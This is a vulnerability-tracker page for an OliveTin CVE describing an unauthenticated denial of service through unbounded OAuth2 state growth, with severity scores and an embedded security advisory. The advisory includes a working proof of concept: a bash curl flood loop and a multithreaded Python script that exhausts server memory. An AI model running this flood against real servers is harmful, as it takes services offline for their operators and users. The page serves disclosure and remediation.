CVE-2026-67437

highpriority · track · 0EPSS 0.006 · 50 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.64% (50th) EPSS
CVSS 7.5 · high
Is it mine?
2 products
Check your exposure
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-27

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-xpxj-f2fm-rqchOliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)2026-07-30ghsa · osvUS

    ## Summary OliveTin's OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service. This is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists. ## Affected Versions - All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789) ## Details In `service/internal/auth/otoauth2/restapi_auth_oauth2.go`: ```go type OAuth2Handler struct { cfg *config.Config mu sync.RWMutex registeredStates map[string]*oauth2State // NEVER cleaned up registeredProviders map[string]*oauth2.Config } ``` The `HandleOAuthLogin` handler adds a new state on every request: ```go func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) { state, _ := randString(16) // 24-byte base64 string // ... h.mu.Lock() h.registeredStates[state] = &oauth2State{ providerConfig: provider, providerName: providerName, Username: "", } h.mu.Unlock() // ... redirect to OAuth2 provider } ``` The `HandleOAuthCallback` handler updates existing states but never removes them: ```go func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) { // ... h.mu.Lock() h.registeredStates[state].Username = userinfo.Username // Updates, never deletes h.registeredStates[state].Usergroup = ... h.mu.Unlock() } ``` There is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`. ### Memory Impact Per State Each map entry consists of: - Key: ~24 bytes (base64 string) - Value: `*oauth2State` struct containing: - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config) - `providerName string` (~8-16 bytes) - `Username string` (empty initially) - `Usergroup string` (empty initially) - Go map overhead: ~100-150 bytes per entry Estimated: **~200 bytes per state entry** At 1 million states ≈ **200 MB** of memory consumed. At 10 million states ≈ **2 GB** of memory consumed. ### Attack Vector The `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second. ## PoC ### Prerequisites - OliveTin instance with at least one OAuth2 provider configured - Network access to `/oauth/login` ### Config ```yaml listenAddressSingleHTTPFrontend: 0.0.0.0:1337 logLevel: "INFO" checkForUpdates: false authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback" authOAuth2Providers: github: clientId: "test-client-id" clientSecret: "test-client-secret" actions: - title: noop shell: echo "ok" ``` ### Step 1: Baseline health check ```bash curl -i http://127.0.0.1:1337/readyz # Expected: 200 OK curl -I "http://127.0.0.1:1337/oauth/login?provider=github" # Expected: 302 Found (redirect to GitHub) ``` ### Step 2: Flood with state-creation requests ```bash # Each request creates a new map entry that is never cleaned up for i in $(seq 1 100000); do curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" & # Throttle to avoid connection limits if (( i % 500 == 0 )); then wait echo "Sent $i requests..." fi done wait echo "Flood complete" ``` ### Step 3: Python PoC for sustained memory exhaustion ```python #!/usr/bin/env python3 """PoC: OAuth2 State Memory Exhaustion DoS Distinct from CVE-2026-28789 (concurrent map crash). This exploits unbounded growth of the registeredStates map. """ import requests import time import sys from concurrent.futures import ThreadPoolExecutor TARGET = "http://127.0.0.1:1337" PROVIDER = "github" WORKERS = 50 TOTAL_REQUESTS = 500000 BATCH_SIZE = 1000 def create_state(_): """Send /oauth/login to create a new state entry.""" try: requests.get( f"{TARGET}/oauth/login?provider={PROVIDER}", allow_redirects=False, timeout=5 ) return True except Exception: return False def check_health(): """Check if the server is still responsive.""" try: r = requests.get(f"{TARGET}/readyz", timeout=5) return r.status_code == 200 except Exception: return False print(f"[*] Target: {TARGET}") print(f"[*] Provider: {PROVIDER}") print(f"[*] Total requests: {TOTAL_REQUESTS}") print(f"[*] Workers: {WORKERS}") print() if not check_health(): print("[!] Server not reachable") sys.exit(1) start_time = time.time() total_created = 0 with ThreadPoolExecutor(max_workers=WORKERS) as executor: for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE): batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS) results = list(executor.map(create_state, range(batch_start, batch_end))) total_created += sum(results) elapsed = time.time() - start_time rate = total_created / elapsed if elapsed > 0 else 0 est_memory = total_created * 200 / 1024 / 1024 # MB print(f" States created: {total_created:>8} | " f"Rate: {rate:>6.0f}/s | " f"Est. memory: {est_memory:>6.1f} MB | " f"Healthy: {check_health()}") if not check_health(): print(f"\n[!] Server became unresponsive after {total_created} states!") print(f"[!] Estimated memory consumed: {est_memory:.1f} MB") break print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s") ``` ### Step 4: Verify memory growth (Docker) ```bash docker stats olivetin-instance --no-stream # Observe MEM USAGE growing continuously during the attack ``` ## Impact - **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured - **Attack requirements:** Unauthenticated network access to `/oauth/login` - **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation - **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required - **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied. ## Suggested Fix 1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`) 2. Add a maximum state count (e.g., 10,000) with LRU eviction 3. Clean up states after successful callback 4. Add periodic garbage collection for expired states

  • GO-2026-6146OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) in github.com/OliveTin/OliveTin2026-08-18vendor · osvUS

    OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) in github.com/OliveTin/OliveTin

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-07-29modified 2026-07-30
08

references (10)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan